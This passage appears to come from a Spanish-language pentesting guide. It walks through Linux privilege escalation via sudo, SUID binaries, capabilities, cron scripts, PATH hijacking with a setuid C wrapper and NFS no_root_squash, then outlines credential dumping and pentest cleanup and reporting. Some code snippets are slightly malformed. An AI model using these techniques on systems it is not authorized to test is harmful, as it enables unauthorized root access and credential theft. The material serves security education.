El comando sudo le permite ejecutar un programa con privilegios de root. Estos binarios pueden tener exploits conocidos. Puedes verificar la relación de los procesos del usuario actual con el root usando el comando “sudo -l”
Aproveche las funciones de la aplicación
Algunas aplicaciones no tendrán un exploit conocido dentro de este contexto. En ese caso tendremos que usar un exploit manual para aprovechar la función de la aplicación. Con el indicador -f puede especificar un archivo de configuración de servidor alternativo. Si cargamos el archivo /etc/shadow usando esta opción, obtendremos un error con la primera línea del archivo /etc/shadow.
SUID
La mayor parte de la escalada de privilegios reside en controlar usuarios y sus interacciones con los ficheros mediante permisos. Los permisos son de lectura, escritura y ejecución. Sin embargo existen permisos especiales, SUID (Identificación de usuario de conjunto) y SGID (Identificación de grupo de conjunto). Estos permiten que los archivos se ejecuten con el nivel de permisos del propietario del archivo o del propietario del grupo.
find / -type f -perm -04000 -ls 2>/dev/null
enumerará los archivos que tienen conjuntos de bits SUID o SGID.
Puede comparar esos ejecutables con la lista en GTFOBins y buscar cualquier binario que pueda ser explotable.
Capabilities
Otro método para escalar sus privilegios es el uso de Capabilities. Ayudan a administrar los privilegios, por ejemplo, si un analista de SOC necesita usar una herramienta que necesita ciertos permisos, un usuario normal no podría hacerlo. SI el administrador no quiere otorgar más permisos ni otorgar más privilegios al usuario, puede cambiar las capacidades del binaryt. Como resultado, el binario realizaría su tarea sin necesidad de un usuario con privilegios elevados.
Podemos usar getcap
para enumerar todas las capacidades habilitadas. Al ejecutar getcap -r /
generará mucho ruido, por lo que podemos usar 2>/dev/null
para filtrarlos. getcap -r / 2>/dev/null
Las capabilities enumeradas no son archivos SUID. Podemos volver a usar GTFObins para obtener una lista de binarios que se aprovecharán para escalar privilegios si encontramos un conjunto vulnerable de capabilities.
Tareas de cron
Las tareas cron se ejecutan en un momento específico. Puedes leer todos los crontabs usando el cat /etc/crontab, luego podemos modificar cualquier script para obtener, por ejemplo, un shell inverso. Si este script se ejecuta con privilegios de root, el shell inverso será un shell de root.
Variable PATH
PATH en Linux en una variable de entorno que le dice al sistema operativo dónde buscar ejecutables (echo $PATH
). Si escribimos “program” en la línea de comando, esta es la ubicación en la que Linux buscará un ejecutable llamado “program”.
El siguiente script intentará ejecutar el binario “test” y lo buscará en la tabla $PATH #include <unistd.h> void main() { setuid(0); setgid(0); system("test"); }
Este script en c debe compílarse usando gcc gcc test -o shell
y otorgarle permisos SUID a este archivo compilado chmod u+s shell
Creamos un binario llamado “test”. Este es el binario que el script .c intentará ejecutar una vez que agreguemos nuestra ruta a la variable PATH. echo "/bin/bash" > test
esto creará un binario simple que abrirá un shell bash. Podemos alojarlo en /tmp. Para agregar el /tmp a nuestra variable usaremos la exportación PATH=/tmp:$PATH
Esto agregará /tmp a la variable $PATH.
NFS
Las carpetas compartidas, el acceso remoto como SSGH también pueden ayudar a obtener acceso root al objetivo inicial. En algunos casos, se necesitarán ambos, por ejemplo, encontrar una clave SSH privada en la carpeta .ssh de un usuario y luego conectarse a través de SSH con privilegios de root. También podemos explotar un shell de red mal configurado. La configuración de NFS se almacena en el archivo /etc/exports y, por lo general, los usuarios pueden leerlo. Para que este método de escalada funcione, es fundamental que la opción “no_root_squash” esté habilitada. Si está, podemos crear un ejecutable con SUID establecido y ejecutarlo en el sistema victima.
Comenzamos enumerando los recursos compartidos en la máquina usando showmount -e
Montamos nuestra carpeta en la carpeta con la opción no_root_squash habilitada. Usando mount -o rw 10.10.70.63:/tmp /tmp/nfs
el sistema local está montado junto al sistema. Ingresamos al usuario root usando su, y realizamos un script simple que llame al binario /bin/bash y le otorgue los permisos SUID. Ejecute el archivo SUID desde la máquina víctima. Por ejemplo, se puede usar este script:
#include void main() { setuid(0); setgid(0); system("/bin/bash"); }
Reconocimiento interno
El reconocimiento interno es el proceso de recopilar información interna sobre una red de destino, de modo que un atacante pueda moverse de manera más efectiva a través de la red y realizar otras actividades. El atacante observa, explora y mapea la red, sus usuarios y dispositivos. Permite al intruso comprender las convenciones de nomenclatura de host y las jerarquías de red, identificar sistemas operativos, localizar posibles cargas útiles y adquirir inteligencia para realizar movimientos informados.
Un atacante puede aprovechar muchas herramientas personalizadas externas y herramientas de código abierto para escanear puertos, conexiones de proxy y otras técnicas, pero el uso de herramientas integradas de Windows o de soporte ofrece la ventaja de ser más difícil de detectar.
Volcado de credenciales y escalada de privilegios
Un atacante necesita credenciales de inicio de sesión válidas. El término utilizado para la obtención ilegal de credenciales se denomina “volcado de credenciales”.
Una forma común de obtener estas credenciales es engañar a los usuarios para que las compartan mediante el uso de tácticas de ingeniería social , como ataques tipo typosquatting y phishing. Otras técnicas comunes para robar permisos:
Pass the Hash
Un método de autenticación que no requiere un inicio de sesión con la contraseña del usuario. Pasa por alto los pasos de adquisición estándar mediante la adquisición de hash de contraseña válidos que, una vez autenticados, permiten al atacante realizar acciones en sistemas locales o remotos.
Pass the Ticket
Una forma de autenticar usando tickets de Kerberos. Un intruso que haya comprometido un controlador de dominio puede generar un “ticket dorado” de Kerberos fuera de línea que sigue siendo válido indefinidamente y puede usarse para suplantar cualquier cuenta, incluso después de restablecer la contraseña.
Herramientas como Mimikatz
Se utilizan para robar contraseñas de texto claro almacenadas en caché o certificados de autenticación de la memoria de una máquina comprometida. Luego se pueden usar para autenticarse en otras máquinas.
Keyloggers
Permite que el atacante adquiera la contraseña directamente cuando un usuario desprevenido la ingresa a través del teclado.
Limpieza
Para evitar tener que extender demasiado este apartado, es ideal realizar redirecciones hacia la ruta /dev/null que actúa como cubo de basura de bits, así como utilizar el directorio /tmp en la medida de lo posible, puesto que este directorio es volatil tras reinicios del sistema. Para el resto debemos tener en cuenta los siguientes pasos.
- Eliminación de ejecutables, scripts y archivos temporales de sistemas comprometidos
- Reconfigurar la configuración de nuevo a los parámetros originales antes del pentest
- Eliminar cualquier rootkit instalado en el entorno
- Eliminar cualquier cuenta de usuario creada para conectarse al sistema comprometido
Generación de informes
Los informes a menudo se consideran el aspecto más crítico de un pentest. Es donde obtendrá recomendaciones por escrito de la empresa que lo realiza y tendrá la oportunidad de revisar los hallazgos del informe hackers.
Los hallazgos y las explicaciones detalladas del informe le ofrecerán información y oportunidades para mejorar significativamente su postura de seguridad. El informe debe mostrarle exactamente cómo se descubrieron los puntos de entrada desde la fase de modelado de amenazas y OSINT, así como también cómo puede remediar los problemas de seguridad encontrados durante la fase de explotación.
Conclusiones
Se han comentado algunas de las técnicas mas comunes para las diferentes etapas. No obstante el conocimiento sobre los protocolos y funcionamiento es mucho mas importante que la técnica en si, pues las técnicas se actualizan y surgen nuevas a partir del conocimiento de los servicios y protocolos. El resto recae en la creatividad del componente del RedTeam. De igual manera, conviene conocer los puntos críticos donde los atacantes pueden efectuar sus fechorias, de manera que seamos lo mas conscientes posible.